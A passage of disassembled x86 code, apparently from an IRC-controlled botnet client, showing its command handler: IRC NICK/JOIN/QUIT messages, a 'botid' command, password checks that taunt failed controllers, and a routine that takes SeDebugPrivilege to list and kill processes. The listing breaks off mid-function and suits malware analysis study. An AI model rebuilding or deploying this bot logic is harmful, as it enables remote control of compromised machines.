		lea	eax, [ebp+var_2DC]
		push	offset dword_42FE40
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Fh
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_41533B
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_414807

loc_4147F1:				; CODE XREF: sub_40EE72+5993j
		cmp	[ebp+var_460], ebx
		jnz	loc_414E11
		push	32h
		call	near ptr 2610F41h
		nop
		jmp	short loc_4147F1
; ---------------------------------------------------------------------------

loc_414807:				; CODE XREF: sub_40EE72+597Dj
		call	near ptr 265031Fh
		nop
		push	eax
		push	offset unk_42FDF0
		jmp	loc_414E02
; ---------------------------------------------------------------------------

loc_414818:				; CODE XREF: sub_40EE72+1620j
					; sub_40EE72+1635j
		cmp	[ebp+var_8], ebx
		jnz	short loc_414837
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42FDC8
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_414837:				; CODE XREF: sub_40EE72+59A9j
		push	[ebp+arg_4]
		call	dword_43AE30
		call	dword_43ACF8
		call	sub_40AC42
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_414852:				; CODE XREF: sub_40EE72+15F6j
					; sub_40EE72+160Bj
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_40B8D8
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_42FDA0
		jmp	loc_4145BD
; ---------------------------------------------------------------------------

loc_414880:				; CODE XREF: sub_40EE72+14BCj
					; sub_40EE72+14D1j
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40BB8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_42FD78
		jmp	loc_4145BD
; ---------------------------------------------------------------------------

loc_4148B2:				; CODE XREF: sub_40EE72+1492j
					; sub_40EE72+14A7j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40C00D
		jmp	loc_40F236
; ---------------------------------------------------------------------------

loc_4148CB:				; CODE XREF: sub_40EE72+1468j
					; sub_40EE72+147Dj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_388], bl
		jz	short loc_41490A
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_41490A
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41490A
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_388]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 10h

loc_41490A:				; CODE XREF: sub_40EE72+5A62j
					; sub_40EE72+5A6Dj ...
		push	[ebp+var_8C]
		lea	eax, [ebp+var_408]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42FD50
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Dh
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_40C]
		push	ebx
		push	eax
		push	offset sub_40C07F
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4149AD

loc_414997:				; CODE XREF: sub_40EE72+5B39j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_40F239
		push	32h
		call	near ptr 2610F41h
		nop
		jmp	short loc_414997
; ---------------------------------------------------------------------------

loc_4149AD:				; CODE XREF: sub_40EE72+5B23j
		call	near ptr 265031Fh
		nop
		push	eax
		push	offset dword_42FD08
		jmp	loc_40F422
; ---------------------------------------------------------------------------

loc_4149BE:				; CODE XREF: sub_40EE72+143Ej
					; sub_40EE72+1453j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BEF5
		push	offset dword_42FCE0
		call	sub_40BF6D
		jmp	loc_41452A
; ---------------------------------------------------------------------------

loc_4149DE:				; CODE XREF: sub_40EE72+1414j
					; sub_40EE72+1429j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jz	short loc_414A38
		push	offset dword_42FCDC
		push	esi
		call	sub_4176D0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_46C], eax
		jmp	short loc_414A3E
; ---------------------------------------------------------------------------

loc_414A38:				; CODE XREF: sub_40EE72+5BAAj
		mov	[ebp+var_46C], ebx

loc_414A3E:				; CODE XREF: sub_40EE72+5BC4j
		lea	eax, [ebp+var_2DC]
		push	offset dword_42FCB0
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	20h
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset byte_416DC7
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_414AA8

loc_414A96:				; CODE XREF: sub_40EE72+5C34j
		cmp	[ebp+var_460], ebx
		jnz	short loc_414AC3
		push	32h
		nop
		call	near ptr 2610F41h
		jmp	short loc_414A96
; ---------------------------------------------------------------------------

loc_414AA8:				; CODE XREF: sub_40EE72+5C22j
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset dword_42FC68

loc_414AB4:				; CODE XREF: sub_40EE72+489Dj
					; sub_40EE72+49B9j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_414AC3:				; CODE XREF: sub_40EE72+4527j
					; sub_40EE72+453Fj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		jmp	loc_410654
; ---------------------------------------------------------------------------

loc_414ACF:				; CODE XREF: sub_40EE72+1398j
					; sub_40EE72+13ADj
		push	offset aBotid	; "botid"
		push	offset dword_42FC40
		jmp	short loc_414AED
; ---------------------------------------------------------------------------

loc_414ADB:				; CODE XREF: sub_40EE72+136Ej
					; sub_40EE72+1383j
		push	dword_4CD5F0
		call	sub_40B721
		pop	ecx
		push	eax
		push	offset dword_42FC04

loc_414AED:				; CODE XREF: sub_40EE72+5C67j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_4110FD
; ---------------------------------------------------------------------------

loc_414B1A:				; CODE XREF: sub_40EE72+1344j
					; sub_40EE72+1359j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414B4C
		cmp	[ebp+var_C], ebx
		jz	short loc_414B5B
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_414B5B
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		jmp	short loc_414B5B
; ---------------------------------------------------------------------------

loc_414B4C:				; CODE XREF: sub_40EE72+5CB1j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		pop	ecx
		pop	ecx

loc_414B5B:				; CODE XREF: sub_40EE72+5CB6j
					; sub_40EE72+5CC5j ...
		push	0FFFFFFFEh
		jmp	loc_40F23B
; ---------------------------------------------------------------------------

loc_414B62:				; CODE XREF: sub_40EE72+131Aj
					; sub_40EE72+132Fj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_42FBB4
		call	sub_40BF6D
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_414B84:				; CODE XREF: sub_40EE72+12F0j
					; sub_40EE72+1305j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_42FB74
		call	sub_40BF6D
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_414BA5:				; CODE XREF: sub_40EE72+12C6j
					; sub_40EE72+12DBj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_407110
		jmp	loc_412FF4
; ---------------------------------------------------------------------------

loc_414BBB:				; CODE XREF: sub_40EE72+1221j
					; sub_40EE72+1236j
		push	[ebp+esi+var_90]
		push	1Fh
		push	offset dword_42FB64
		push	offset dword_42FB58
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_414BD3:				; CODE XREF: sub_40EE72+11F7j
					; sub_40EE72+120Cj
		push	[ebp+esi+var_90]
		push	1Ch
		push	offset dword_42FB4C
		push	offset dword_42FB3C
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_414BEB:				; CODE XREF: sub_40EE72+1022j
					; sub_40EE72+1037j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_414C0A
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_414C0A
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_414C0F
; ---------------------------------------------------------------------------

loc_414C0A:				; CODE XREF: sub_40EE72+5D82j
					; sub_40EE72+5D8Dj
		mov	eax, dword_42F5A8

loc_414C0F:				; CODE XREF: sub_40EE72+5D96j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_478], eax
		cmp	esi, ebx
		jz	short loc_414C34
		push	esi

loc_414C21:				; CODE XREF: sub_40EE72+5DD1j
		lea	eax, [ebp+var_488]
		push	10h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_414C4B
; ---------------------------------------------------------------------------

loc_414C34:				; CODE XREF: sub_40EE72+5DACj
		cmp	[ebp+var_9C7], bl
		jz	short loc_414C45
		lea	eax, [ebp+var_D8]
		push	eax
		jmp	short loc_414C21
; ---------------------------------------------------------------------------

loc_414C45:				; CODE XREF: sub_40EE72+5DC8j
		mov	[ebp+var_488], bl

loc_414C4B:				; CODE XREF: sub_40EE72+5DC0j
		mov	eax, [ebp+var_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_46C], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_508]
		push	eax
		mov	[ebp+var_50C], esi
		call	sub_41782A
		add	esp, 0Ch
		push	[ebp+var_478]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42B75C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	11h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_50C]
		push	ebx
		push	eax
		push	offset sub_407FEA
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_474]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_414CFC

loc_414CE6:				; CODE XREF: sub_40EE72+5E88j
		cmp	[ebp+var_464], ebx
		jnz	loc_40F239
		push	32h
		call	near ptr 2610F41h
		nop
		jmp	short loc_414CE6
; ---------------------------------------------------------------------------

loc_414CFC:				; CODE XREF: sub_40EE72+5E72j
		call	near ptr 265031Fh
		nop
		push	eax
		push	offset unk_42FAF4
		jmp	loc_40F422
; ---------------------------------------------------------------------------

loc_414D0D:				; CODE XREF: sub_40EE72+FCEj
					; sub_40EE72+FE3j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414D35
		push	edi
		push	offset aSec	; "sec"
		call	sub_4176D0
		pop	ecx
		mov	[ebp+var_46C], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_414D3F

loc_414D35:				; CODE XREF: sub_40EE72+5EAAj
		mov	[ebp+var_46C], 1

loc_414D3F:				; CODE XREF: sub_40EE72+5EC1j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_46C], ebx
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_414D86
		mov	eax, offset aUnsecuring	; "Unsecuring"

loc_414D86:				; CODE XREF: sub_40EE72+5F0Dj
		push	eax
		push	offset dword_42FAA8
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ah
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_415F28
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_414DF6

loc_414DE4:				; CODE XREF: sub_40EE72+5F82j
		cmp	[ebp+var_460], ebx
		jnz	short loc_414E11
		push	32h
		nop
		call	near ptr 2610F41h
		jmp	short loc_414DE4
; ---------------------------------------------------------------------------

loc_414DF6:				; CODE XREF: sub_40EE72+5F70j
		call	near ptr 265031Fh
		nop
		push	eax
		push	offset unk_42FA5C

loc_414E02:				; CODE XREF: sub_40EE72+3DA5j
					; sub_40EE72+4AC1j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_414E11:				; CODE XREF: sub_40EE72+2EB3j
					; sub_40EE72+3959j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		jmp	loc_40F428
; ---------------------------------------------------------------------------

loc_414E22:				; CODE XREF: sub_40EE72+FA4j
					; sub_40EE72+FB9j
		push	offset aAbosal7Tool ; "ABOSAL7 tool"
		push	offset dword_42FA3C
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_414E31:				; CODE XREF: sub_40EE72+F7Aj
					; sub_40EE72+F8Fj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414E91
		push	esi
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_414E86
		cmp	eax, 2
		jge	short loc_414E86
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_414E7B
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_432E08
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_410E57
; ---------------------------------------------------------------------------

loc_414E7B:				; CODE XREF: sub_40EE72+5FE8j
		push	eax
		push	offset dword_42FA00
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_414E86:				; CODE XREF: sub_40EE72+5FD3j
					; sub_40EE72+5FD8j
		push	eax
		push	offset dword_42F9C4
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_414E91:				; CODE XREF: sub_40EE72+5FC8j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_414E96:				; CODE XREF: sub_40EE72+6040j
		push	[ebp+var_94]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414EB9
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_414E96
		jmp	loc_410E57
; ---------------------------------------------------------------------------

loc_414EB9:				; CODE XREF: sub_40EE72+6034j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_432E08
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_414ED3:				; CODE XREF: sub_40EE72+F50j
					; sub_40EE72+F65j
		push	[ebp+var_90]
		push	offset dword_432D78
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414F47
		call	sub_416F25
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_414EF5:				; CODE XREF: sub_40EE72+F26j
					; sub_40EE72+F3Bj
		push	[ebp+esi+var_90]
		xor	eax, eax
		cmp	[ebp+var_9B8], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_928]
		push	dword_42F5CC
		push	eax
		call	sub_415D01
		add	esp, 10h
		lea	eax, [ebp+var_928]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		lea	eax, [ebp+var_928]
		push	eax
		push	offset dword_42F990

loc_414F40:				; CODE XREF: sub_40EE72+4344j
					; sub_40EE72+49D7j ...
		call	sub_40BFE1
		pop	ecx

loc_414F46:				; CODE XREF: sub_40EE72+17E7j
		pop	ecx

loc_414F47:				; CODE XREF: sub_40EE72+65Fj
					; sub_40EE72+66Bj ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_414F4F:				; CODE XREF: sub_40EE72+B28j
					; sub_40EE72+B3Bj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], esi
		jz	loc_40F239
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F239
		push	offset asc_432E84 ; "!"
		push	[ebp+var_94]
		call	sub_418B6E
		mov	esi, eax
		push	offset dword_436EF4
		push	ebx
		inc	esi
		call	sub_418B6E
		push	offset asc_42F98C ; "~"
		push	eax
		call	sub_418B6E
		push	[ebp+arg_0]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_4176D0
		add	esp, 20h
		test	eax, eax
		jz	short loc_414FEE
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 14h
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_42F904
		jmp	loc_40F813
; ---------------------------------------------------------------------------

loc_414FEE:				; CODE XREF: sub_40EE72+6138j
		mov	[ebp+arg_24], offset off_42F6C4

loc_414FF5:				; CODE XREF: sub_40EE72+619Fj
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_4170B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415055
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_42F6C8
		jb	short loc_414FF5
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 14h
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_42F8C8
		jmp	loc_40F813
; ---------------------------------------------------------------------------

loc_415055:				; CODE XREF: sub_40EE72+6192j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_41505A:				; CODE XREF: sub_40EE72+6212j
		cmp	[ebp+arg_0], ebx
		jz	loc_40F239
		cmp	[edi], bl
		jnz	short loc_41507A
		push	[ebp+arg_0]
		push	offset aCool	; "cool"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41508B

loc_41507A:				; CODE XREF: sub_40EE72+61F3j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_41505A
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_41508B:				; CODE XREF: sub_40EE72+6206j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_AA8]
		push	7Fh
		push	eax
		push	esi
		call	sub_418C10
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4150C2
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42F89C
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_4150C2:				; CODE XREF: sub_40EE72+6234j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_42F86C
		jmp	loc_40F422
; ---------------------------------------------------------------------------

loc_4150D3:				; CODE XREF: sub_40EE72+20Ej
					; sub_40EE72+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	offset aXi	; "+xi"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		mov	dword_4CD76C, edi
		jmp	loc_40F10F
sub_40EE72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41511F	proc near		; CODE XREF: sub_409037+45p
					; sub_409037+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 2780DC9h
		push	eax
		call	dword_43AD7C
		test	eax, eax
		jnz	short loc_41513E
		leave
		retn
; ---------------------------------------------------------------------------

loc_41513E:				; CODE XREF: sub_41511F+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_43AD54
		test	eax, eax
		jz	short loc_41517C
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_415165
		or	[ebp+var_8], 2
		jmp	short loc_415169
; ---------------------------------------------------------------------------

loc_415165:				; CODE XREF: sub_41511F+3Ej
		and	[ebp+var_8], 0FFFFFFFDh

loc_415169:				; CODE XREF: sub_41511F+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_43AE04
		mov	esi, eax

loc_41517C:				; CODE XREF: sub_41511F+32j
		push	[ebp+var_4]
		nop
		call	near ptr 26319EBh
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41511F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41518A	proc near		; CODE XREF: sub_40EE72+4B66p
					; sub_41533B+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_43ADB8, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_415334
		cmp	dword_43AD9C, ebx
		jz	loc_415334
		cmp	dword_43ACB8, ebx
		jz	loc_415334
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_43ADB8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_415327
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	dword_43AD9C
		mov	esi, dword_424078
		test	eax, eax
		jz	loc_415322

loc_41522D:				; CODE XREF: sub_41518A+BEj
					; sub_41518A+CCj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_43ACB8
		test	eax, eax
		jz	loc_415322
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41522D
		cmp	[ebp+arg_C], ebx
		jnz	loc_4152DA
		cmp	[ebp+arg_4], ebx
		jz	short loc_41522D
		push	[ebp+var_124]
		push	8
		call	dword_43ADB8
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_415297
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_43AC64
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_41529D
		lea	eax, [ebp+var_230]
		jmp	short loc_4152A3
; ---------------------------------------------------------------------------

loc_415297:				; CODE XREF: sub_41518A+EBj
		push	[ebp+var_124]

loc_41529D:				; CODE XREF: sub_41518A+103j
		lea	eax, [ebp+var_108]

loc_4152A3:				; CODE XREF: sub_41518A+10Bj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h
		push	edi
		call	esi
		jmp	loc_41522D
; ---------------------------------------------------------------------------

loc_4152DA:				; CODE XREF: sub_41518A+C3j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41522D
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		nop
		call	near ptr 2720561h
		push	[ebp+var_4]
		mov	edi, eax
		call	esi
		push	ebx
		push	edi
		nop
		call	near ptr 27D0B3Ah
		test	eax, eax
		jnz	short loc_41531D
		push	edi
		call	esi
		jmp	short loc_415334
; ---------------------------------------------------------------------------

loc_41531D:				; CODE XREF: sub_41518A+18Cj
		push	1
		pop	eax
		jmp	short loc_415336
; ---------------------------------------------------------------------------

loc_415322:				; CODE XREF: sub_41518A+9Dj
					; sub_41518A+B5j
		push	[ebp+var_4]
		call	esi

loc_415327:				; CODE XREF: sub_41518A+75j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx

loc_415334:				; CODE XREF: sub_41518A+3Aj
					; sub_41518A+46j ...
		xor	eax, eax

loc_415336:				; CODE XREF: sub_41518A+196j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41518A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41533B	proc near		; DATA XREF: sub_40EE72+595Co

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_432F08
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4172B0
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41539A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
